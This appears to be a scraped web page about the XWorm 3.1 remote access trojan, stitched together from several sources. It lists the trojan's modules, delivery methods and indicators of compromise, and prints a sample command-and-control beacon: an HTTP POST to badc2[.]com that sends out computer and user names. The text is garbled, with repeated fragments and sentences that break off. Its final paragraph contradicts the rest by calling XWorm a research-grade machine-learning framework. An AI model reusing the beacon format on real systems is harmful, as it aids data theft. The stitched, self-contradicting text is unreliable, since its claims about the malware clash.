If you are looking for a "piece" of code or information regarding XWorm 3.1, it is widely recognized as a Remote Access Trojan (RAT). Security research identifies it as a .NET-based malware used for remote command execution, data exfiltration, and initiating DDoS attacks.
Depending on what you mean by "piece," here is the relevant technical context: 1. Technical "Pieces" (Functional Components)
XWorm 3.1 is composed of several functional modules that allow it to control an infected system:
Command & Control (C2) Client: The main payload that establishes a socket connection to a remote server.
Stealer Module: Designed to exfiltrate browser data, passwords, and cryptocurrency wallet information.
Remote Control Tools: Includes features for screen recording, microphone access, and file management.
DDoS Module: Capable of launching network attacks (e.g., UDP/TCP floods). xworm 3.1
VNC/HVNC: Allows a "Hidden Virtual Network Computing" session so the attacker can use the PC without the user noticing. 2. Common Payloads and Delivery
XWorm 3.1 is often delivered through multi-stage attack chains:
Loaders: Malicious campaigns (like MEME#4CHAN) often use PowerShell or JavaScript loaders to drop the final XWorm payload.
Vulnerability Exploits: It has been seen utilizing the Follina (CVE-2022-30190) vulnerability in Microsoft Office documents to gain initial access.
Cracked Versions: Various versions, including "modded" or cracked pieces of the source code, are frequently found on platforms like GitHub. 3. Indicators of Compromise (IoC)
If you are analyzing a piece of this malware for security purposes, typical indicators include: If you are looking for a "piece" of
Process Names: Often hides within legitimate processes like RegAsm.exe through process hollowing.
Network Activity: Look for unauthorized TCP socket connections on non-standard ports.
For detailed analysis of how this malware behaves, you can refer to reports from SonicWall or Broadcom/Symantec. Malicious PDF delivering Xworm 3.1 payload - SonicWall
The most notable upgrade in this variant is its aggressive approach to avoiding sandboxes and analysis VMs.
Before dissecting version 3.1, it is crucial to understand the baseline. XWorm is a .NET-based Remote Access Trojan first observed in the wild around 2022. Unlike state-sponsored malware that targets specific geopolitical entities, XWorm is sold as a "Malware-as-a-Service" (MaaS) on dark web forums and Telegram channels. Its source code is frequently leaked and modified, leading to a proliferation of variants.
XWorm 3.1 represents a refined build focusing on three primary goals: stealth, persistence, and destructive capability. Process Checks: The malware actively scans for processes
Most samples use HTTP or HTTPS for beaconing, but some variants support TCP raw sockets. The typical beacon interval is configurable (default: 10-30 seconds).
The HTTP POST request structure:
POST /index.php HTTP/1.1 Host: badc2[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Content-Type: application/x-www-form-urlencoded
id=base64(ComputerName+Username)&data=AES_encrypted_command_output
The name “Xworm” evokes the classic image of a self‑propagating program that can traverse a network, gathering data and exploiting vulnerabilities. Yet modern Xworm is far from the malicious script of the early 2000s. It is a research‑grade framework designed for:
Xworm 3.1, released in March 2025, is the first major version to incorporate machine‑learning‑driven heuristics and a plug‑in architecture that allows users to swap out core modules without recompiling the whole suite.